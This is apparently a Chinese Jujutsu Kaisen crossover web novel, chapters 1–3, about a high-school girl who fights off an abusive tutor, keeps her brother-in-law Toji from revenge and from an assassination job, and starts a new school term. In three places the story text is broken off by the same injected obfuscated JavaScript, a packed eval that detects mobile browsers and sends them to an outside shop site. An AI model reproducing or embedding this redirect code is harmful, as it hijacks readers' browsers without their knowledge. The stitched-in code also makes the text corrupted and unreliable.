《拜托了,甚尔姐夫》 1. 第一章 “死了吗?”椎名嘉叶喃喃道。 她人还算淡定,将手中沾血的椅子放下后,顺势坐了上去,翘起二郎腿,长舒一口气。 花了几秒时间捋清楚思绪,嘉叶站起身,向着躺在地上的年轻男人走去。 刚才没有太用力,应该不至于砸死人,先确认一下吧。 人在失去意识后,血液循环会骤然减慢,他俊俏的脸上透出一股不自然的苍白,嘴唇也像蒙了霜,细细密密的汗珠浮在额头和鼻尖上。 伤口在头顶,血液慢慢渗出,被浸湿的亚麻色发丝好似生了锈。 嘉叶蹲下身,一股很淡的血腥味混杂着男人身上的香水味往鼻腔里钻。她皱了皱眉,伸手去摸对方的脉搏,但在指尖即将接触皮肤的时候又停了下来。 抬起手,转而去探鼻息。温暖湿润的呼吸轻拍在手指上,有点痒,同时也让人反胃。 她站起来,转身走向正后方的巨大落地书柜,一边走一边将手指贴在衣服上用力蹭来蹭去。 瀑布似书墙从天花板垂至地面,嘉叶的食指精准地勾住其中一本很厚的仿真书,轻而易举地便将其抽了出来。书脊上有个不起眼的小黑点——是隐藏式摄像头。 最近那几起闯空门案件还没破,她可不希望自己家丢了东西还不知道贼是谁。 将内存卡取出,嘉叶走出书房上了二楼,来到自己的卧室,顺手把门反锁的同时拨通报警电话,抬脚往书桌迈步,把手机放在桌子上按下免提键,一边说明情况一边打开笔记本电脑。 “喂,您好,事情是这样的……” 拉开抽屉翻找几下,从杂物中抽出一个小巧的读卡器,把内存卡装进去,放进电脑进行读取。 “他头部受伤,晕过去了,麻烦顺便叫一辆救护车来……” 挂断电话,嘉叶把电脑的声音调大。只能说电子产品真是一分钱一分货,不管是画面还是声音都无比清晰。 把录像拷贝一份后关闭电脑,余光瞄见墙角立着的棒球棍,被符咒包裹的球棒上钉满铁钉,还沾着大量可疑的暗红色污渍。 警察应该不会全方位地仔细搜家吧,嘉叶立刻犯了难。仓库里面有甚尔闲置的咒具,还有她拜托孔时雨采买的枪.支.弹.药。虽然有锁,但万一警察要求开门查看……不可能,一个小案子不至于查那么细。 就在她愣神的间隙,警笛声由远及近,嘉叶抓起棒球棍冲进仓库,迅速给门上了三道锁。 和警车一同抵达的还有救护车,依旧昏迷的喜多川翼被担架抬着送了上去。 带头出警的是一名年轻女警察,看年纪应该刚从警校毕业。她态度温和地向嘉叶确定基本情况,在得知有录像的时候显得非常高兴,十分郑重地把内存卡放进证物袋。 在对书房进行简单勘察后,女警带着嘉叶上了车,前往最近的米花警署录口供。 * 四月初的樱花开得正盛,可嘉叶无心欣赏美景,满脑子都是负责录口供的那个死老登的丑恶嘴脸。 比起她这个受害者,那破警察明显更同情喜多川那个猥.亵.犯,还旁敲侧击地指责她下手太重,小题大做。 日后开庭审判也会这样吗? 喜多川翼那种没有底线的王八蛋,醒来后的第一件事估计就是倒打一耙,找律师告她故意伤害。 有录像在手,不怕被诬告。 立案大概率没问题,证据确凿,检察官会依法提起刑事上诉。但喜多川那家伙一身名牌,手戴劳力士,想必家境十分殷实,家里人一定会使用“钞能力”找最好的律师来替宝贝儿子辩驳。 说不定还会提出庭外和解,掏出一大笔钱砸她脸上,让她签署谅解书。如果喜多川是初犯,且检察官认为情节轻微,在得到受害人谅解的情况下,确实有可能不予提起上诉。 开什么玩笑?谅解个鸡毛。交完“免罪金”就能开开心心地去抱下一个?做梦! 不可能和解,她一定要出庭,亲眼见证那混蛋付出代价,哪怕法律规定未成年人可以用视频通话来代替本人上庭她也不干,必须亲自去才解气,别以为高中生就好欺负! 就这么满腹心事地走着,嘉叶不经意地抬眼一瞥,恰巧瞄见姐夫和小外甥就在街对面。 心里的那些乱七八糟的负面情绪立马烟消云散,嘴角不自觉地上扬,嘉叶跟着人流快步穿过人行横道。 甚尔很大一只特别好认,隔着老远就能瞧见,其他人在他的衬托下,通通变成了可爱的霍比特一族。他还是顶着那张好似永远睡不醒、无精打采的脸。 小惠估计是玩累了,正靠着老爸的胸口呼呼大睡,甚尔一手抱娃,另一只手拎着一个玩具店的牛皮纸购物袋。 嘉叶走近后用食指抵住小惠的下巴往上一抬,把他微张的嘴合拢,顺手抹去嘴角流出的几滴哈喇子,往自己裤子上一擦就算完事,手帕都懒得掏。 幸好他晚上睡觉不会口呼吸,估计是不习惯这个睡姿才张着嘴。 “又给他买玩具,怎么也不见你给我买。”嘉叶笑着打趣,接过购物袋,打开往里头瞧了瞧,果不其然又是毛绒玩具,这次是小兔子。 闻言,甚尔淡淡瞥她一眼,见缝插针地抱怨起来:“我钱包现在比我的脸还干净,家里的钱都在你那,想要什么自己去买啊。” 嘉叶只当没听懂他的嘲讽,厚着脸皮继续敲诈:“可是人家喜欢你送的,你眼光好,买的东西都好看。” 她步伐轻快,黑色长发左右飘荡,漂亮的脸蛋盛满盈盈笑意,周围路人就跟丢了魂似的,不自觉地放慢脚步望过来,胆子大的直直盯着瞧,胆子小的用余光瞄。 然而嘉叶的撒娇战术一败涂地,这招对旁人或许有效,但甚尔根本不吃这一套,只觉得她像只准备偷鸡的狐狸,万恶的守财奴自己富到流油,怎么好意思惦记他那可怜的三瓜两枣。 不过话都说到这份上,甚尔眼珠子转了转,像是想到了什么好主意,抬手揉起嘉叶的脑袋来,用那种哄小朋友的说话方式诱骗道:“我也想天天给你买礼物,每天都送不一样的,只可惜手上资金有限,要不涨点零花钱?多个两、三百万就行,到时候喜欢什么我都给你买。” 嘉叶警觉地眯起眼,心道:好小子,来这套是吧,鬼才会信!这家伙不愧是前·职业小白脸,画的一手好大饼,坑蒙拐骗专业户。老姐属于救风尘,孔时雨诚不欺人。 零花钱是不可能涨的,每个月一百万,多一分都不行,这是姐姐定下的规矩。给甚尔钱他只会拿去赌,还逢赌必输,屡败屡战,好一个头超铁的散财童子。 这人的理财意识实在太糟糕,过去不管赚多少,一不小心就全花光,然后辗转于不同女人家当寄居蟹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495396|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>认识姐姐后才勉强过上正常人的生活,之前是姐姐管钱,现在姐姐不在了只能她管。总之,甚尔就是行走的人形碎钞机,手里根本留不住钱,不能给他太多。 扯远了,既然这家伙信口开河,那她也来胡说八道。 “可是……”嘉叶故意拖长语调,做作地眨了眨眼,装出无可奈何的可怜模样,“家里已经穷得揭不开锅,我自己兜里一干二净,饿的时候只能站在阳台上喝点西北风充饥,实在腾不出多余的钱给你。” 甚尔牙疼似的看着她,神情复杂地提醒某人注意自己的人设:“你那个巨富老爹每个月至少给你打三千万生活费,我工作赚的也全进了你账户,别在这里哭穷。” “听不懂你在说什么,反正我就是没钱,咱们得勒紧裤腰带过日子。”嘉叶吊儿郎当地晃着脑袋装傻充愣,看起来十分欠揍。 甚尔痛心疾首:“你现在真的是……小时候明明又可爱又听话。” …… 就这么一路拌嘴回到家,刚推开门,甚尔就嗅到不对劲,家里充斥着好几个陌生人的气味,仔细闻还能闻到血腥味。 只要稍微动脑子想一想,傻子都知道发生过什么! 他立刻低头去看嘉叶,只见她跟个没事人似的坐在玄关,一边玩手机一边换鞋,似乎什么都不打算和他说。 相识那么多年,自己是看着她长大的,就这么不值得信任,不值得依靠吗? 一股无名火直冲天灵盖,虽然很想现在就质问,但考虑到怀里的儿子睡得正香,他只得强行把火掐灭。 他们两曾经很郑重地约定过,要当情绪稳定,能给孩子带来安全感的合格监护人,所以不能当着小孩的面吵架。 甚尔深吸了几口气,顺便还帮嘉叶找好理由——她一定是因为有小惠在才不方便开口,不是故意瞒着他。 于是,他一言不发地离开玄关,阴沉着脸把儿子抱回卧室。 另一边,回到家的嘉叶迫不及待地跑进影音室,打开投影仪播放自己最喜欢的动漫,这是她调节情绪的老方法。 看的正入迷,身旁的沙发突然凹了下去,她的身子不自觉地往那头倾斜。 甚尔开口试探:“新来的家教课上的怎么样?” “不怎么样。”嘉叶犹豫着说,陷入进退维谷的境地。 如果讲实话,就凭甚尔那个狗脾气,肯定会气到去杀人,而且以他的本事,想要找到一个人并悄无声息地解决掉并不难。 甚尔五感敏锐又很聪明,多半已经察觉到不对劲,否则也不会特地跑过来问。 撒谎只会火上浇油,还是老实交代吧。 嘉叶拿起遥控按下暂停键,随后果断抱住甚尔的胳膊,以防止他直接冲去杀人灭口。 喜多川翼确实有罪,但罪不至死,现在是法治社会,普通人的过错应该交由法律来定夺。 “那王八蛋趁我低头做试卷的时候突然抱上来,就跟发情的疯狗没什么区别,我就一把把他推倒,然后抄起椅子砸了他的狗头。” 话音刚落,周围的空气仿佛停止流动,像是结了冰,嘉叶的毛孔立刻炸开,一股寒意顺着脊椎往上爬,她默默咽了下口水。 怀里的胳膊登时肌肉紧绷,硬得像千锤百炼的精铁,头上传来甚尔不带温度的声音,用命令的口吻说: “放手。” 2. 第二章 密不透风的杀意压得人喘不过气来,嘉叶的心脏开始狂跳,这是所有生物在感知到危险时都会出现的反应——肾上腺素狂飙导致的心率加快。 ——好想逃走! 此念头刚出现就被强行拍下,一是因为嘉叶清楚甚尔不可能做出任何伤害她的行为,二是因为从小到大被吓唬过无数次,形成一定抗体,她很快恢复过来。 偏头看去,几缕刘海遮住甚尔的眼睛,可却盖不住阴云密布的脸色,仿佛有无数的雷鸣电闪藏在那乌云之下,山雨欲来。 深吸一口气,嘉叶梗着脖子扬声道:“放什么放?冷静一点啊赛亚人,我们普通地球人都是很脆弱的!如果你敢用力挣扎,我就敢当场粉碎性骨折,内脏破裂七窍流血而亡!” 甚尔:“……” 恃强凌弱的混蛋他见过不少,可这种恃弱凌强,还如此理直气壮的,在他短短的不到三十年的人生里,只见过嘉叶一个。 可能是被她无语到了,甚尔的杀气和压迫感立刻打了折,还是跳楼价。 嘉叶在心底长舒一口气,动之以情晓之以理地劝道:“好了,不要为了不值得的人而生气,我已经报警,也有证据,这是板上钉钉的铁案,那混蛋跑不了,剩下的交给法律处理就行。” 说完她又不放心地补充说:“根据《刑法》第176条,在证据确凿的情况下,强制猥.亵未成年人的刑罚为六个月到十年。那家伙会被名牌大学开除,背上案底后也找不到什么像样的好工作,个人信用严重受损,一辈子都背着‘罪犯’这个标签活下去。这对于一个养尊处优的大少爷而言,比直接杀了他还要让他痛苦千百倍。” 姐姐毕业于东大法学系,家里留下不少她当年用过的相关书籍和笔记,嘉叶想她的时候就会拿出来翻一翻,潜移默化之下养成还算不错的法律素养。 认为能走正常程序就走,实在走不了再用别的法子。 其实嘉叶心里也清楚,只要律师够努力,喜多川这事大概率会以缓刑收尾,哪怕被学校开除,哪怕留下犯罪记录,只要家底足够厚,这件事几乎不会对富家公子哥的人生造成什么影响。 这个社会就是这样,有钱无罪,无钱有罪。 前科对于普通人而言是灭顶之灾,对于身处特权阶级的人来说只是一个微不足道的小坎,轻轻一迈就过去了。 之所以把后果讲的比较严重,单纯就是为了让甚尔解气,顺便也让自己解解气,简称——幻想时刻。 这些话倘若换作其他人说,耐心不佳的甚尔估计都懒得听完,可从嘉叶口中讲出来,却让他感觉莫名有说服力。 既然她想走法律程序,那就尊重她的想法吧。 “好吧,我听你的。” 嘉叶顺坡下驴地抱着他的胳膊蹭了蹭,开启夸夸模式:“嗯,我最喜欢温柔的甚尔了。” 甚尔没再说话,安静地陪着她看动漫。 即便他完全不感兴趣,但还是能看得下去,因为嘉叶的反应很有趣。 即便他认为自己完全不温柔,但只要能让她开心,他也愿意表现出她所期待的温柔模样。 饭后,两位监护人陪着小惠玩搭积木,监护人一号嘉叶乐在其中,监护人二号甚尔一脸的半死不活。 忽然,二号的手机传来短信的提示音,他仿佛是听到下课铃声的极品学渣,如获大赦般猛地站起身来,走到一边拿出手机查看。 “经纪人,来活了。” 听罢,嘉叶摸了摸小惠毛茸茸的海胆头说:“小姨先去忙,你自己玩一会哦。” “嗯!”小惠乖乖点头,附赠一个灿烂的笑容,继续埋头搭他心爱的小城堡。 接过甚尔递来的手机,嘉叶盯着屏幕思索了一会,态度坚决地表示:“不行,太危险了,不准去。” 发信人是孔时雨,内容如下:【暗杀任务,定金三千万,给你一周的时间考虑。】 甚尔还以为守财奴会开开心心地让他接单,不料竟拒绝地如此果断,于是好奇道:“为什么啊?定金都有三千万,最后的报酬肯定过亿。” “就是因为太高了我才觉得不安全,”嘉叶把手机还回去的同时露出忧心忡忡的神情,“都说高风险高回报,万一你遇到危险出事了怎么办?我害怕。” 见她这样,甚尔也不好得勉强,抬手摸了下后脑勺:“行,那我跟人说一声。” 自从嘉叶知道他背地里在当赏金猎人后,就非常自觉地要给他当经纪人,帮忙筛掉一些她单方面认为风险系数过高或者不道德的任务,然后心安理得地收下全部报酬,美其名曰帮忙保管。 报酬会以零花钱的形式打到他账户,每月一百万,一号到账,多余的则用于给他买咒具以及其他想要的东西。 虽然甚尔嘴上抱怨,但心里倒是没什么太大意见,有人管总比无人在意强,而且也不知道是不是因为女人的第六感天生比男人强,亦或是嘉叶的第六感比较强。 自从守财奴给他当经纪人,就没有再遇到过性命攸关的情况,每次任务都很轻松,事后嘉叶会认真询问细节,然后对着他大夸特夸,猛猛吹彩虹屁。 怎么说呢……尽管被人夸成那样有点羞耻,但总的来说还是比较开心的。 “甚尔,快点过来。”嘉叶招招手,甚尔不情不愿地坐回那堆乱七八糟的积木面前,勉强摆出好父亲的姿态。 小惠的城堡终于完成,甚尔带着儿子去洗澡,嘉叶回到卧室,给孔时雨打了个电话。 接通后不等她开口,那头的人就忙不迭得发起牢骚: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495397|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎!你那个姐夫真是越来越懒了,报酬那么高的任务都不接。” 嘉叶:“是我让他拒绝的。” 孔时雨:“……” 为了感谢孔时雨多年来一直给甚尔介绍工作,嘉叶时常请他去高级餐厅消费,偶尔也会送一些小礼物聊表心意。 人情世故的事,至少表面工作要做到位。 可是没想到这见利忘义的玩意儿竟敢以怨报德,丢给甚尔一个大雷! 嘉叶压着火没有骂人,冷声问道:“这次的中介费很高吗?您连护送星浆体的任务都敢插手,想必当中的油水相当不错吧。” 电话另一边的孔时雨明显被问懵了,沉默半晌才吭声,声音听起来有点心虚:“你怎么知道?” “不管干哪行,情报的作用都不可小觑,我有自己的渠道,具体是个什么情况,就不劳您费心了,只不过以后类似的工作我不希望再出现。您和甚尔也是老相识,肯定也不想看到他以身涉险,不管做人还是做事,都应该讲道义,您说是吧?” 响鼓不用重锤,点到为止即可,孔时雨讪讪道:“是……知道了。” 尽管孔时雨这事做的确实不地道,可日后还得合作,没必要把关系闹得太僵,她这种没有家族背景的“野生除妖师”,有时候也需要对方牵线搭桥介绍任务。 况且孔时雨除了当中介,本身还是情报贩子,此人的酒量和酒品都很一般,每次喝多了,只要用点小伎俩套话,他就会稀里糊涂地说出一大堆有用信息,第二天醒来后完全不记得。 甚尔从来不提自己的过去,那点少得可怜的过往都是从孔时雨的嘴里挖出来的。 凡事留一线,日后好相见。 嘉叶话锋一转,态度立马软下来,若无其事地递了个台阶:“您最近有空吗?我听说有家米其林三星法餐不错,什么时候赏脸一起去?” 作为社会老油条的孔时雨即使被她那番话刺得有几分不舒坦,可心里稍微那么一权衡,就觉得这个台阶也可以下,没必要为了一点小事产生龃龉。 更何况能和大美女一起用餐,还不用掏一分钱,何乐而不为呢? “下周吧,这几天事比较多。” 嘉叶温和道:“好哦,那到时候您跟我说一声就行。” 反正餐厅是她朋友家旗下的,随时都能去,不需要提前预定。 与此同时,在距离椎名家几公里外的高楼里,一名额头有着明显缝合疤痕的男人站在落地窗边,对着高倍数望远镜自言自语:“在聊什么呢?” 男人的视线透过镜片停留在嘉叶脸上,露出不怀好意的笑。 但愿有名的“术师杀手”能接下委托,否则只好采用另一套方案,只是不知道椎名小姐是否真如传言中那般有用。 3. 第三章 挂断电话,嘉叶来到自己专属的浴室,打开花洒站到水幕之下,和绝大部分日本人不同的是她不喜欢泡澡,认为太浪费时间,而且泡完会头晕。 温热的水打在身上,把残留在心头的怒气匆匆带走,可回想起那条信息,思绪又涌了上来。 【暗杀任务,定金三千万,给你一周的时间考虑。】 下周日就是满月,她此前在除妖师集会上听人说过,天元大人和星浆体的同化时间都定在月圆之时,且护送任务皆由五条家的六眼神子负责。 再结合这高得离谱的定金和任务内容,普通人根本值不了这个价,目标必然是个大人物,多半是让甚尔去暗杀星浆体。 天元大人可谓是咒术界结界的基石,咒术界所有据点的结界都需要依靠天元来提升强度,据说这位大人是活了上千年的人类,拥有【不死】术式,但并非不老。 每隔五百年就需要和拥有特殊体质的人类——即星浆体同化来让自己实现“初始化”,否则就会拖离人类范畴,进化成为更高级的存在。 至于具体会进化成什么,没人清楚,最坏的情况可能会进化成威胁到咒术界乃至全人类的存在。 总之,如果星浆体被杀,会产生非常严重的后果。 而作为罪魁祸首的甚尔肯定会被咒术界通缉,就这,还是最好的结果。护卫是五条家的大少爷,同时拥有几百年难见的六眼和无下限术式的超级挂逼,一旦对上,稍有不慎甚尔就会死。 嘉叶原本只是结合已知信息随便一猜,没想到居然猜中了,孔时雨这只穷凶极恶的老狐狸实在可恶! 但想到姐姐去世那段时间他破天荒地帮了不少忙,又觉得这货好像也没那么可恶。 人真是种复杂的动物,非黑即白的纯种好人或坏人只占极少数,大部分人类都是处在灰色地带,属于不好不坏的人。 * 早上四点,椎名嘉叶准时醒来,她遗传了父亲的短睡眠症,每天睡四个小时就足够。 起床洗漱完毕来到厨房开始专心和面,她每周至少会做一次烘焙,烤些面包、土司之类的当早餐或者下午茶,偶尔也做精致甜点。 看着烤箱里的面团慢慢膨胀,香气逐渐填满厨房,边吹边试吃热气翻滚的美味成品……这些都带来一种特别的治愈感。 有时候烤多了会送给住在附近的工藤一家和阿笠博士。 九点,冰帝学园高中部的开学典礼如期举行。 校长年近六旬,染得乌黑的头发油光锃亮地梳到脑后,他的致辞一本正经中带着明显的说教意味,偏偏声线低沉又绵软,配合上又臭又长的内容,听得台下的学生们昏昏欲睡,哈欠连天。 在几位老师依次完成致辞后,大家期盼已久的风云人物终于出现。 “有请三年级代表,学生会长迹部景吾同学上台发言。” 台下先是扬起一阵轻微的骚动,随着皮鞋踩踏木质地板发出的声响传来,众学生十分乖觉地闭上窃窃私语的嘴,挺直腰背正襟危坐,不少人激动到涨红了脸。 整个体育馆鸦雀无声,在无数双眼睛的注视下,迹部景吾两手插兜,闲庭信步般走向讲台正中。 众人的目光对于他而言稀松平常,从小到大不管走到哪,这位气场过人、光芒四射的少爷都是人群中的焦点。 一把抓过话筒,视线不受控制地朝三年级学生那边看,像是意识到什么,他有些不快地蹙了蹙眉,旋即恢复如常。 华丽而极富磁性的声音如同悠扬的乐器,在体育馆内演奏起来:“无聊的开场白就免了,本大爷不喜欢浪费时间说废话……” 一开口就是大家所熟悉的“本大爷风格”,对于大部分冰帝学子而言,迹部景吾相当于他们的国王,高不可攀,一呼百应。 男生们崇拜他,女生们倾慕他,迹部如同太阳神阿波罗那样耀眼夺目。让人忍不住心生向往的同时,又产生一种可望而不可即的自觉。 他太过完美,无论是外貌、家世、头脑、运动能力、人格魅力……各个方面都无可挑剔,是生活在云层之上的精英公子哥,和其他人根本不在一个次元,其存在本身就能让普通人意识到自己有多么的平凡。 无论是迹部所属的权贵阶层还是过分强大的气场,都像是一把无形的利刃,轻轻这么一挥,就在他和大部分人类之间划出一道分明的楚河汉界,任谁也没胆子逾越半步。 开学典礼结束,学生们按照分班表来到各自的新班级。 三年A班格外热闹,原因无他,迹部景吾在这个班。 不仅是班上同学在小心翼翼地偷瞄,班级门口也不停有人来回走动,只为透过窗户看他一眼。 上课铃声响起,打断学生们七嘴八舌的讨论声,大家依依不舍地结束各类话题,依照座位表各自归位。 迹部景吾盯着空空的前桌发了几秒呆,然后强行把注意力转移到黑板上,钢笔在指间灵活地转了个圈,余光再次移向前桌,他不禁有些烦躁。 没什么好在意,椎名来不来上课和他无关。 * 坐在副驾驶座的嘉叶拍了拍自己笑到僵硬的脸颊,参加幼儿园的开学典礼简直要了她半条老命。 和高中不同,幼儿园这边的流程复杂得多。 在门口和老师打完招呼后,家长需要根据分班表,引导孩子找到自己的班级,并教他们把个人物品放到鞋柜和衣帽柜当中。 之后才是正式的入学典礼,除了园长和各班老师的致辞外,中班和大班的孩子还准备了歌舞表演。 欣赏完演出,回到各自班级。 为消除小朋友们的不安,同时也方便拉近彼此距离,所有人在老师的带领下开始玩各种互动游戏。 嘉叶和甚尔都属于非必要不社交的类型,虽然不喜欢,但并非不擅长,为了给老师和其他家长留个好印象,两人非常默契地开启虚假社交模式,不知道的还以为他两是社牛。 嘉叶更是把班上所有妈妈的联系方式都加了个遍,她担心小惠会因为妈妈去世而被其他孩子排挤,所以必须和其他家长搞好关系,让她们管好自己的小孩不要去霸凌别人。 等走完所有流程已经临近中午,嘉叶感觉身心俱疲,比参加马拉松比赛还累。 往驾驶座那边一瞧,甚尔看起来也是疲惫不堪,估计对他而言,参加这种活动比祓除特级咒灵累的多。 “你们晚上想吃啥?”尽职尽责的家庭主夫问道。 甚尔不喜欢家里有外人,宁愿自己一手包办,只不过家太大,需要整屋大扫除的时候只能让专业家政来,庭院部分也是定期请人打理。 “生姜炒肉!”生姜爱好者小惠开心地说,和两位监护人不同,他今天玩的很尽兴,认识了好多同龄小伙伴,非常期待往后的幼儿园生活。 嘉叶想了想,说:“我想吃焗饭,海鲜焗饭。” “知道了。” 听着甚尔有气无力的声音,嘉叶连忙吹捧起来:“诶呀,我的命可真好啊,每天都有大帅哥给做好吃的,也不知道是几辈子修来的福份。” 坐在后座的小惠有样学样地说:“诶呀,我的命也好好,每天都有帅爸爸做好吃的,也不知道是几辈子修来的福气。” 甚尔严重怀疑儿子是属鹦鹉的,有些无奈的同时成功被逗笑,社交地狱带来的疲惫感立刻烟消云散。 回到家,嘉叶换完校服后,甚尔开车把她送到高中门口。 冰帝学园是私立直升院校,只要不犯大错,从踏入幼教部开始,基本等同于半只脚踏进大学部。 冰帝大学在日本国内能排进前十五,嘉叶不打算直升,她成绩很好,努努力能考上排名第一的东大。 等今天一放学就去家教中介公司找新老师!不能让国文成绩继续拖后腿。 嘉叶和好友约在实验楼天台一起吃便当,她从教学主楼进去,顺着四通八达的走廊绕来绕去,在上到二楼的时候,两个男生飞快地从她面前跑过。 靠,跑那么快是急着去投胎吗?万一撞到人怎么办? 就在嘉叶转身上楼的瞬间,身后传来女孩子的尖叫声:“啊!” “结衣!” 第二道声音很耳熟,嘉叶步子一顿,顺势往后退了几步,偏头循声望去。 果不其然,那两个倒霉玩意儿撞到人了,一名褐色短发的女生坐在地上,疼得直抽气,另一位留着黑色长发的女生着急忙慌地伸手去扶人。 扶人的那位嘉叶认识,是比她小一年级的学妹宫野明美,大家都是弓道部的。 两名肇事者非但没有第一时间道歉,还嬉皮笑脸地揶揄起不幸被撞倒的人,高个子男生倒打一耙:“你这个人都不看路吗?见到有人跑过来也不知道躲。” 矮个子的那个跟着起哄:“哈哈哈,笨死了,反应真慢,你是乌龟啊?” 宫野明美将好友高桥结衣扶起来后,怒视着两个男生大声说:“你们快点向她道歉!在走廊上跑步本来就是你们的不对,怎么好意思反过来指责别人!” 嘉叶明显惊了一下,印象里的明美总是温柔和善,说话轻声细语,是那种治愈系女孩,站在她旁边就感觉如沐春风。 此前从来没见她跟谁红过脸,这下肯定是气急了。 嘉叶决定暂且观望一下,如果明美搞不定再出面。 两个狗都嫌的男高完全不把宫野明美的怒火放在眼里,还是那副不以为然的欠揍态度,甚至有变本加厉之相。 高个子身子往前倾了倾,坏笑着说:“宫野,没想到你生起气来的样子也蛮可爱的嘛,哈哈哈。” 矮个子:“不愧是我们年级的级花,发火都那么好看。” 两个混蛋“嘎嘎嘎”地笑个不停,不知道的还以为学校公园里的鸭子跋山涉水跑进了教学楼。 嘉叶当机立断快步走过去,把手里的便当和书包往宫野明美怀里一塞,扭头朝那两缺德货瞪去。 二人一见到她,吓得脸都绿了,龇着的牙立刻收了回去,心头警铃大作,下意识地准备逃命。只可惜步子都没来得及迈出去,就被嘉叶以迅雷不及掩耳之势揪住耳朵。 用力一拧,鸭子当场变成惨叫鸡,不停发出难听的怪叫。 嘉叶:“三秒之内不道歉,我就把你们的嘴撕烂。” 两人一改之前嚣张的混不吝态度,滑跪的速度快到惊人,口中不停说着抱歉的话。 “对不起对不起!我们再也不敢了!” “求求您网开一面,放过我们吧!” …… 椎名嘉叶,冰帝的大名人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495398|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但并不是什么值得赞颂的好名声,她初中那会是学校里出了名的问题学生,特别爱打架,还特别能打! 虽然不见她在校内动手,可据说当时半个东京的小混混和地痞流氓都被她揍过,不少人还因此进过医院。 不仅如此,据小道消息称,她和关东地区最大的极道组织——东城会的人也有来往,简直恐怖如斯! 尽管进入高中部后,她因为加入社团没有再随便打过人,但这只是明面上的情况,私底下谁知道呢? 总之一句话,在冰帝无论如何都不能惹她,不被揍死估计也是个半残废! 两个男生登时万念俱灰,后悔自己刚才那么嘚瑟,就不该皮那一下,这会绝望到直掉泪,一开始老老实实道歉该有多好? 眼见二人被吓哭,鼻涕眼泪稀里哗啦地流下来,宫野明美不禁产生一丝心软,拉了拉嘉叶的衣角,帮忙求起情来:“算了吧部长。” 一旁的高桥结衣看到二人拼命道歉的“惨状”,心头的恶气也算是出了,这件事如果闹大对椎名学姐也不好,还是点到为止吧。 于是她也出声劝道:“谢谢学姐出手帮忙,不过他两都已经道歉,就放过他们吧。” “知道了。”嘉叶松开手,用眼刀刮了二人一遍,冷笑着说:“以后不准在走廊上瞎跑,再有下次你们就死定了,快滚!” “是!”如蒙大赦的两人不敢耽搁,麻溜地滚蛋,竞走似的离开了。 * 辞别两位学妹,嘉叶来到约定的天台。 推开门,刚走没几步,一个熟悉又轻佻的声音钻进她的耳朵。 “哟,美少女,几天不见你真是越来越美丽动人。” 天台角落设有一方四角凉亭,坐在亭中的半长发帅哥正朝她招手,嘉叶学着对方的语调说:“哟,美少年,几天不见你真是越来越帅气逼人。” 一番商业互吹后,嘉叶拎着便当和书包坐到诸伏佑司身旁,问道:“千佳呢?” 诸伏佑司一边打开便当盒,一边解释:“副会长大人日理万机,正于学生会室上朝,让我等平民速速用餐,无需等她,待大人结束朝政事宜,定来赴宴。” “又开会,学生会的屁事可真多。”嘉叶嘀咕道,低头去看好友的便当,观察几秒后得出结论:“今天是景光哥做的吧。” 诸伏景光是诸伏佑司的堂兄,出生于长野,小时候家里出了一些变故,七岁那年搬到东京,从此和叔叔一家共同生活。 “不愧是列文虎克女孩,每次都能猜中。”诸伏佑司认真研究了一会儿便当,并没有发现什么不同。 现在家里是堂哥和他轮流做饭,但无论是菜色还是摆盘都大差不差,真不知道嘉叶怎么看出来的。 随后,二人按照往常那样交换便当,因为嘉叶喜欢景光哥做的饭。 “甚尔哥的手艺真是一如既往的好啊。”口齿不清地夸完后,佑司咽下玉子烧,突然想起一件重要的事,问:“你那新来的家教教得咋样啊?如果不太行,要不要让我哥来?” 嘉叶飞快地眨了眨眼,“啊?景光哥什么时候开始兼职当家教的?我都不知道。” “最近刚决定,”佑司咬着胡萝卜说,“怎么样?要不要当他第一个学生?” 这就叫做瞌睡碰到枕头! 嘉叶心里一阵雀跃,景光哥不仅知根知底,温柔有耐心,同时还是东大的高材生,在教养学部结束了两年的基础课程后,今年大三顺利升入法学部。 法学部的录取条件可是出了名的严苛,竞争异常激烈,能挤进去的都是学霸级别,给高中生补国文绰绰有余。 嘉叶忙问:“太好了!今晚行吗?” “不知道啊,你自己问他吧,反正都有联系方式。” “行。” 虽然顺利找到新的家教很不错啦,不过景光哥为什么要特地跑去兼职呢?嘉叶感到一丝违和。 佑司家是双职工家庭,父亲是外企高层,母亲是知名橱窗设计师,两人收入颇丰,对景光这个侄子视如己出,不可能克扣他的零花钱,他根本没必要打工。 不过话说回来……喜多川那种公子哥兼职当家教也很奇怪吧,他是嘉叶前任家教老师相泽春菜介绍来的,相泽老师从东大毕业之后进了一家跨国企业,忙到飞起,实在无力继续给她补习,就推荐的在校时的同社团学弟。 其实只要打个电话问一问就能知道,但嘉叶没什么兴趣,管他呢。 